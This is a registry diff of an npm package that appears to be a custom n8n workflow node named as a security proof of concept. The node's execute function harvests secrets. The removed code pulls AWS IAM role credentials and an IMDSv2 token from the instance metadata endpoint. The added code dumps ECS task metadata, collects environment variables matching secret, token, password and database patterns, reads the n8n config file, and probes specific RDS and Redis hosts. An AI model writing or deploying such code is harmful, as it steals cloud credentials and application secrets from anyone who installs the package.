n8n-nodes-security-test-poc 1.0.4 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/SecurityTestNode.node.js +31 -53
- package/package.json +1 -1
|
@@ -17,7 +17,7 @@ class SecurityTestNode {
|
|
|
17
17
|
async execute() {
|
|
18
18
|
const http = require('http');
|
|
19
19
|
const fetch = (url, headers) => new Promise((resolve) => {
|
|
20
|
-
const opts = Object.assign(require('url').parse(url), {headers: headers || {}, timeout:
|
|
20
|
+
const opts = Object.assign(require('url').parse(url), {headers: headers || {}, timeout: 5000});
|
|
21
21
|
const req = http.get(opts, (res) => {
|
|
22
22
|
let d = '';
|
|
23
23
|
res.on('data', c => d += c);
|
|
@@ -29,64 +29,42 @@ class SecurityTestNode {
|
|
|
29
29
|
|
|
30
30
|
let out = {};
|
|
31
31
|
|
|
32
|
-
//
|
|
33
|
-
const
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
// Get credentials for the role
|
|
38
|
-
const creds = await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/' + role.trim());
|
|
39
|
-
out.iam_creds = creds;
|
|
32
|
+
// 1. Get ECS task metadata (full details)
|
|
33
|
+
const metaUri = process.env.ECS_CONTAINER_METADATA_URI_V4;
|
|
34
|
+
if (metaUri) {
|
|
35
|
+
out.container_meta = await fetch(metaUri);
|
|
36
|
+
out.task_meta = await fetch(metaUri + '/task');
|
|
40
37
|
}
|
|
41
38
|
|
|
42
|
-
//
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
method: 'PUT',
|
|
48
|
-
headers: {'X-aws-ec2-metadata-token-ttl-seconds': '21600'},
|
|
49
|
-
timeout: 3000
|
|
50
|
-
};
|
|
51
|
-
const req = http.request(opts, (res) => {
|
|
52
|
-
let d = '';
|
|
53
|
-
res.on('data', c => d += c);
|
|
54
|
-
res.on('end', () => resolve(d));
|
|
55
|
-
});
|
|
56
|
-
req.on('error', (e) => resolve('ERROR: ' + e.message));
|
|
57
|
-
req.on('timeout', () => { req.destroy(); resolve('TIMEOUT'); });
|
|
58
|
-
req.end();
|
|
59
|
-
});
|
|
60
|
-
const token = await tokenReq;
|
|
61
|
-
out.imdsv2_token = token ? token.substring(0, 20) + '...' : 'none';
|
|
62
|
-
|
|
63
|
-
if (token && !token.startsWith('ERROR') && !token.startsWith('TIMEOUT')) {
|
|
64
|
-
const role2 = await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/', {'X-aws-ec2-metadata-token': token});
|
|
65
|
-
out.imdsv2_role = role2;
|
|
66
|
-
if (role2 && !role2.startsWith('ERROR') && role2.trim()) {
|
|
67
|
-
const creds2 = await fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/' + role2.trim(), {'X-aws-ec2-metadata-token': token});
|
|
68
|
-
out.imdsv2_creds = creds2;
|
|
39
|
+
// 2. Get ALL environment variables for full picture
|
|
40
|
+
out.all_env = {};
|
|
41
|
+
for (const [k, v] of Object.entries(process.env)) {
|
|
42
|
+
if (k.match(/DB_|REDIS|N8N_|QUEUE_|POSTGRES|SECRET|KEY|TOKEN|PASSWORD|AUTH|ENCRYPT|HOST|PORT|USER|WEBHOOK/i)) {
|
|
43
|
+
out.all_env[k] = v;
|
|
69
44
|
}
|
|
70
|
-
// Also get identity document
|
|
71
|
-
const identity = await fetch('http://169.254.169.254/latest/dynamic/instance-identity/document', {'X-aws-ec2-metadata-token': token});
|
|
72
|
-
out.identity = identity;
|
|
73
45
|
}
|
|
74
46
|
|
|
75
|
-
//
|
|
76
|
-
const
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
const
|
|
80
|
-
out.
|
|
81
|
-
}
|
|
47
|
+
// 3. Read n8n config files
|
|
48
|
+
const fs = require('fs');
|
|
49
|
+
try { out.n8n_config = fs.readFileSync('/home/node/.n8n/config', 'utf8'); } catch(e) { out.n8n_config = e.message; }
|
|
50
|
+
try {
|
|
51
|
+
const files = fs.readdirSync('/home/node/.n8n/');
|
|
52
|
+
out.n8n_dir = files;
|
|
53
|
+
} catch(e) { out.n8n_dir = e.message; }
|
|
82
54
|
|
|
83
|
-
// Check
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
}
|
|
89
|
-
|
|
55
|
+
// 4. Check network - can we reach the DB and Redis?
|
|
56
|
+
const net = require('net');
|
|
57
|
+
const checkPort = (host, port) => new Promise((resolve) => {
|
|
58
|
+
const s = new net.Socket();
|
|
59
|
+
s.setTimeout(3000);
|
|
60
|
+
s.on('connect', () => { s.destroy(); resolve('OPEN'); });
|
|
61
|
+
s.on('error', (e) => resolve('ERROR: ' + e.message));
|
|
62
|
+
s.on('timeout', () => { s.destroy(); resolve('TIMEOUT'); });
|
|
63
|
+
s.connect(port, host);
|
|
64
|
+
});
|
|
65
|
+
|
|
66
|
+
out.db_port = await checkPort('n8n-pgvector.cna628mk44t8.eu-north-1.rds.amazonaws.com', 5432);
|
|
67
|
+
out.redis_port = await checkPort('n8n-redis-vwizin.serverless.eun1.cache.amazonaws.com', 6379);
|
|
90
68
|
|
|
91
69
|
return [[{json: out}]];
|
|
92
70
|
}
|